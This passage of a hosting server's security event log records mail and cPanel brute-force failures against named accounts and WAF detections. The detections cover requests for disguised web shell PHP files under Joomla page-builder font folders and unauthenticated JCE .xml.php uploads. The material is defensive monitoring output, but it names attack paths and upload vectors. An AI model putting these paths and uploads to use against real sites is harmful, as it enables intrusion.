abuser: 122.186.202.58
country_id: 1269750
description:
2026-07-13 10:34:43 dovecot_login authenticator failed for H=(164.124.222.222.broad.lf.he.dynamic.163data.com.cn) [122.186.202.58]:34906: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.251.121.187
country_id: 241170
domain: jaashsupplies.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/orbajisq/fonts/vxdckkbd.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.57
country_id: 1733045
description:
2026-07-13 10:39:00 dovecot_login authenticator failed for H=([49.124.152.162]) [49.124.151.57]:36252: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.51.64
country_id: 337996
description:
2026-07-13 10:39:24 dovecot_login authenticator failed for H=([183.236.75.189]) [196.189.51.64]:39052: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 110.137.75.104
country_id: 1643084
domain: www.yukticlick.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/JohnFelix777_1783919499668.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.239.150.15
country_id: 3996063
description:
2026-07-13 10:41:37 dovecot_login authenticator failed for H=([142.54.228.195]) [170.239.150.15]:35135: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.254.30.34
country_id: 1668284
description:
2026-07-13 10:41:23 dovecot_login authenticator failed for H=([94.16.17.141]) [122.254.30.34]:41458: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-13 10:43:15 dovecot_login authenticator failed for H=([184.181.178.35]) [211.116.107.222]:45791: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-13 10:42:41 dovecot_login authenticator failed for H=([222.104.76.94]) [175.200.217.128]:36080: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-07-13 10:43:58 dovecot_login authenticator failed for H=([1.240.101.2]) [101.13.5.34]:54752: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-13 10:44:24 dovecot_login authenticator failed for H=([101.13.5.34]) [220.77.214.59]:42674: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.212.191.16
country_id: 1861060
description:
2026-07-13 10:44:39 dovecot_login authenticator failed for H=st0848.nas811.p-aichi.nttpc.ne.jp (ipmapt-72-195-114-182.oc.oc.cox.net) [202.212.191.16]:14569: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 174.87.46.130
country_id: 6252001
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:30221.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a41e997da8562e412957d69f2cb29f0aed4e6cc6||Title:0x98973ab1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.163.127.14
country_id: 1269750
description:
2026-07-13 10:51:00 dovecot_login authenticator failed for H=(ipmapt-72-195-34-34.oc.oc.cox.net) [122.163.127.14]:51387: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-13 10:51:24 dovecot_login authenticator failed for H=([111.26.62.42]) [182.95.189.66]:44984: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.124.111.122
country_id: 2077456
description:
2026-07-13 10:54:08 dovecot_login authenticator failed for H=27-124-111-122.static.as58511.net (www01.irishtitan.ul.zerolag.com) [27.124.111.122]:52805: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.184.155.242
country_id: 1269750
description:
2026-07-13 10:54:30 dovecot_login authenticator failed for H=([142.54.229.253]) [103.184.155.242]:44961: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-13 10:55:26 dovecot_login authenticator failed for H=(karuna.divineled.com) [125.23.155.110]:59434: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.126.222.110
country_id: 6252001
description:
2026-07-13 10:58:18 dovecot_login authenticator failed for H=174-126-222-110.cpe.sparklight.net ([104.37.132.51]) [174.126.222.110]:7885: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.237.122
country_id: 1269750
description:
2026-07-13 10:58:19 dovecot_login authenticator failed for H=([124.239.129.3]) [122.187.237.122]:46544: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.229.162.130
country_id: 3508796
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/ssp6-multiducer?Itemid=101&catid=18 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.251.121.187
country_id: 241170
domain: fefkadirectorsunion.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/jlulvicw/fonts/dzpzudob.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.124.254.98
country_id: 1835841
description:
2026-07-13 11:03:13 dovecot_login authenticator failed for H=(l37-193-85-193.novotelecom.ru) [220.124.254.98]:44096: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 13 11:04:07 vps sshd[943571]: error: kex_exchange_identification: read: Connection reset by peer


plugin: modsec
rule: 77469916
abuser: 103.253.24.90
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce3rgf2u1z.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.85.14.222
country_id: 6252001
description:
2026-07-13 11:06:53 dovecot_login authenticator failed for H=([219.248.65.30]) [107.85.14.222]:59229: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.154.171
country_id: 1733045
description:
2026-07-13 11:07:26 dovecot_login authenticator failed for H=([37.79.232.82]) [49.124.154.171]:46520: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-13 11:07:35 dovecot_login authenticator failed for H=([49.124.146.34]) [1.227.228.131]:38235: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-07-13 11:07:44 dovecot_login authenticator failed for H=([102.38.3.107]) [201.46.124.0]:1806: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.254.104.107
country_id: 1269750
description:
2026-07-13 11:08:01 dovecot_login authenticator failed for H=([85.186.244.106]) [117.254.104.107]:60360: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-13 11:09:12 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [220.77.214.59]:45440: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-13 11:09:42 dovecot_login authenticator failed for H=(119.92.172.100.static.pldt.net) [128.185.235.110]:43434: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.156
country_id: 1668284
description:
2026-07-13 11:09:27 dovecot_login authenticator failed for H=111-70-29-156.emome-ip.hinet.net (183.82.108.109.actcorp.in) [111.70.29.156]:41660: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-13 11:15:05 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net ([120.224.242.78]) [110.25.105.240]:42233: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.93.4.113
country_id: 3624060
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:81050.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:29ed5df6fd34c64c381601237d83d8d577ca6577||Title:0xc6611f87||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.54
country_id: 1668284
description:
2026-07-13 11:14:49 dovecot_login authenticator failed for H=110-25-109-54.adsl.fetnet.net ([61.145.163.164]) [110.25.109.54]:46174: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-13 11:18:09 dovecot_plain authenticator failed for H=(dripility) [74.195.53.129]:50566: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.142
country_id: 1269750
description:
2026-07-13 11:19:36 dovecot_login authenticator failed for H=(static-200-105-141-161.acelerate.net) [182.95.185.142]:51506: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-13 11:21:16 dovecot_login authenticator failed for H=(162-215-195-65.unifiedlayer.com) [125.19.163.58]:38752: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.146.46
country_id: 1733045
description:
2026-07-13 11:21:55 dovecot_login authenticator failed for H=(111-70-25-161.emome-ip.hinet.net) [49.124.146.46]:43590: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.43.150.20
country_id: 1668284
description:
2026-07-13 11:22:12 dovecot_login authenticator failed for H=([222.118.58.152]) [115.43.150.20]:45592: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.251.121.187
country_id: 241170
domain: kallanigroup.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/myaxmdgj/fonts/ehpzkuml.PHP||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 162.120.184.206
country_id: 1269750
domain: metrodigitals.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-13 11:22:45 dovecot_login authenticator failed for H=([192.252.208.66]) [106.201.237.208]:52442: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-13 11:23:01 dovecot_login authenticator failed for H=([203.172.213.166]) [213.154.80.51]:39078: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.66.211
country_id: 1512440
description:
2026-07-13 11:26:03 dovecot_login authenticator failed for H=([66.54.169.3]) [213.230.66.211]:41236: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.29.219.54
country_id: 1835841
description:
2026-07-13 11:26:17 dovecot_login authenticator failed for H=(72.20.167.124.adsl-pool.sx.cn) [59.29.219.54]:44498: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-07-13 11:26:46 dovecot_login authenticator failed for H=([72.207.109.1]) [119.198.191.180]:35772: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-13 11:27:00 dovecot_login authenticator failed for H=([67.201.39.9]) [94.16.17.141]:60604: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-13 11:27:06 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se ([14.32.231.200]) [79.136.8.69]:54834: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-13 11:27:51 dovecot_login authenticator failed for H=(116.8.234.85.chtts.ru) [182.95.101.182]:49830: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77469916
abuser: 188.119.13.22
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceax3ioctw.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-13 11:33:18 dovecot_login authenticator failed for H=([142.54.231.33]) [106.247.22.181]:43497: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-13 11:33:36 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se ([67.201.58.185]) [176.10.203.54]:50024: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.80.230.116
country_id: 3686110
description:
2026-07-13 11:35:37 dovecot_login authenticator failed for H=(cpc1-ersk4-2-0-cust471.know.cable.virginm.net) [186.80.230.116]:45430: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-13 11:35:27 dovecot_login authenticator failed for H=([67.201.38.131]) [175.200.217.128]:34200: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.114.245
country_id: 1835841
description:
2026-07-13 11:36:17 dovecot_login authenticator failed for H=([142.54.235.12]) [59.8.114.245]:55557: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-13 11:36:32 dovecot_login authenticator failed for H=([192.111.135.19]) [210.5.117.238]:57410: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-13 11:38:50 dovecot_login authenticator failed for H=([77.41.156.64]) [122.186.249.6]:35890: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-13 11:38:30 dovecot_login authenticator failed for H=([117.159.93.197]) [181.61.251.4]:45576: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-13 11:43:37 dovecot_login authenticator failed for H=([183.171.61.211]) [116.98.104.138]:52038: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.155.225.93
country_id: 878675
description:
2026-07-13 11:43:54 dovecot_login authenticator failed for H=([174.77.111.220]) [197.155.225.93]:43168: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.251.249.117
country_id: 2300660
description:
2026-07-13 11:47:50 dovecot_login authenticator failed for H=(mx-ll-183.89.250-247.dynamic.3bb.in.th) [197.251.249.117]:56896: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.4.61
country_id: 1668284
description:
2026-07-13 11:48:22 dovecot_login authenticator failed for H=221-120-4-61.emome-ip.hinet.net (187.058.067.17.static.host.gvt.net.br) [221.120.4.61]:37833: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.197.42
country_id: 1269750
description:
2026-07-13 11:48:54 dovecot_login authenticator failed for H=([72.207.113.126]) [128.185.197.42]:55794: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.43.107.179
country_id: 1835841
description:
2026-07-13 11:50:05 dovecot_login authenticator failed for H=([142.54.228.195]) [211.43.107.179]:52849: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.91.227.217
country_id: 2635167
description:
2026-07-13 11:50:17 dovecot_login authenticator failed for H=85-91-227-217.dsl.inetc.co.uk (187-8-89-120.customer.tdatabrasil.net.br) [85.91.227.217]:35186: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.40.122.250
country_id: 2629691
description:
2026-07-13 12:02:40 dovecot_login authenticator failed for H=nova-185-040-122-250.cpe.novanet.is ([27.39.130.144]) [185.40.122.250]:60052: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.70.200
country_id: 1282988
description:
2026-07-13 12:03:05 dovecot_login authenticator failed for H=([61.72.145.38]) [157.119.70.200]:60236: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.1.75.44
country_id: 1835841
description:
2026-07-13 12:03:46 dovecot_login authenticator failed for H=([221.153.12.93]) [121.1.75.44]:57898: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-13 12:04:26 dovecot_login authenticator failed for H=([98.182.171.163]) [197.242.170.10]:58208: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-13 12:05:04 dovecot_login authenticator failed for H=([189.108.215.39]) [78.187.9.111]:55548: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.230.168
country_id: 298795
description:
2026-07-13 12:05:11 dovecot_login authenticator failed for H=(syn-071-012-241-225.res.spectrum.com) [78.187.230.168]:50349: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.203.138
country_id: 1269750
description:
2026-07-13 12:05:30 dovecot_login authenticator failed for H=([67.201.39.9]) [125.23.203.138]:55528: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.190.51.82
country_id: 337996
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/lighting-control-systems HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 200.10.37.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://business.thepilotnews.com/thepilotnews/markets/article/abnewswire-2026-4-14-paver-cleaning-services-in-bayshore-provided-by-paver-cleaning-and-sealing-pros-of-bay-shore-for-local-residents-focused-on-long-term-solution/\">Paver cleaning companies</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.124.111.122
country_id: 2077456
description:
2026-07-13 12:11:18 dovecot_login authenticator failed for H=27-124-111-122.static.as58511.net (ip68-7-114-69.sd.sd.cox.net) [27.124.111.122]:34333: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.84.54
country_id: 1269750
description:
2026-07-13 12:12:13 dovecot_login authenticator failed for H=([192.252.220.90]) [27.123.84.54]:37786: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-13 12:11:46 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([221.159.21.170]) [155.4.31.215]:34248: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-13 12:12:38 dovecot_login authenticator failed for H=(59-159-89-200.fibertel.com.ar) [59.145.160.134]:43064: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.110.136
country_id: 1668284
description:
2026-07-13 12:16:02 dovecot_login authenticator failed for H=110-25-110-136.adsl.fetnet.net ([188.43.204.45]) [110.25.110.136]:60670: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.108.161
country_id: 1668284
description:
2026-07-13 12:16:21 dovecot_login authenticator failed for H=110-25-108-161.adsl.fetnet.net ([184.178.172.24]) [110.25.108.161]:47937: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.94.227.22
country_id: 3437598
description:
[2026-07-13 12:16:58 +0530] info [whostmgrd] 181.94.227.22 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.226.175
country_id: 2661886
description:
2026-07-13 12:17:29 dovecot_login authenticator failed for H=90-230-226-175-no2550.tbcn.telia.com ([183.171.57.50]) [90.230.226.175]:43856: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.137.47.81
country_id: 6251999
description:
2026-07-13 12:17:57 dovecot_login authenticator failed for H=dhcp-4-bc-9f-52-e4-f.cpe.i-zoom.net ([183.171.12.224]) [24.137.47.81]:51172: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.138.90.195
country_id: 2661886
description:
2026-07-13 12:18:33 dovecot_login authenticator failed for H=h79-138-90-195.cust.bredband2.com ([67.201.57.102]) [79.138.90.195]:36216: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-13 12:20:12 dovecot_login authenticator failed for H=(60-249-252-94.hinet-ip.hinet.net) [218.159.144.187]:49999: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.54
country_id: 1668284
description:
2026-07-13 12:19:47 dovecot_login authenticator failed for H=110-25-109-54.adsl.fetnet.net (www01.irishtitan.ul.zerolag.com) [110.25.109.54]:59263: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-13 12:20:34 dovecot_login authenticator failed for H=([184.181.217.198]) [125.23.155.110]:38798: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.150.37.5
country_id: 1605651
description:
[2026-07-13 12:21:36 +0530] info [cpaneld] 203.150.37.5 - ogocin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ogocin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.241.225
country_id: 6252001
description:
2026-07-13 12:22:12 dovecot_login authenticator failed for H=([222.112.168.34]) [71.12.241.225]:57130: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 103.253.24.90
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce4hb6bd02.xml.php||RSV:8.28||T:APACHE||


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 203.150.37.5
country_id: 1605651
description:
Login Blocked: IP reached maximum auth failures [Service]=[cpaneld] [Local IP Address]=[192.168.74.189] [Local Port]=[2083] [Remote IP Address]=[203.150.37.5] [Remote Port]=[43452] [Authentication Database]=[system] [Username]=[ogocindia_] (5/5 failures) (blocked until [Mon Jul 13 07:06:39 2026 UTC/Mon Jul 13 12:36:39 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.60.128.241
country_id: 1269750
description:
2026-07-13 12:22:38 dovecot_login authenticator failed for H=([49.124.152.35]) [182.60.128.241]:47576: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-13 12:24:34 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([49.124.153.64]) [80.223.190.179]:38162: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.214.10.178
country_id: 2245662
description:
2026-07-13 12:24:54 dovecot_login authenticator failed for H=([49.124.148.194]) [41.214.10.178]:40316: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.150.37.5
country_id: 1605651
description:
[2026-07-13 12:25:22 +0530] info [whostmgrd] 203.150.37.5 - ogocindi "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: brute force attempt (user ogocindi) has locked out IP 203.150.37.5


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 203.150.37.5
country_id: 1605651
description:
[2026-07-13 12:25:23 +0530] info [whostmgrd] 203.150.37.5 - ogocin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: brute force attempt (user ogocin) has locked out IP 203.150.37.5


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-13 12:25:55 dovecot_login authenticator failed for H=(111-70-9-143.emome-ip.hinet.net) [125.138.166.217]:34866: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-13 12:26:17 dovecot_login authenticator failed for H=(187-50-27-129.customer.tdatabrasil.net.br) [119.92.76.210]:37726: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
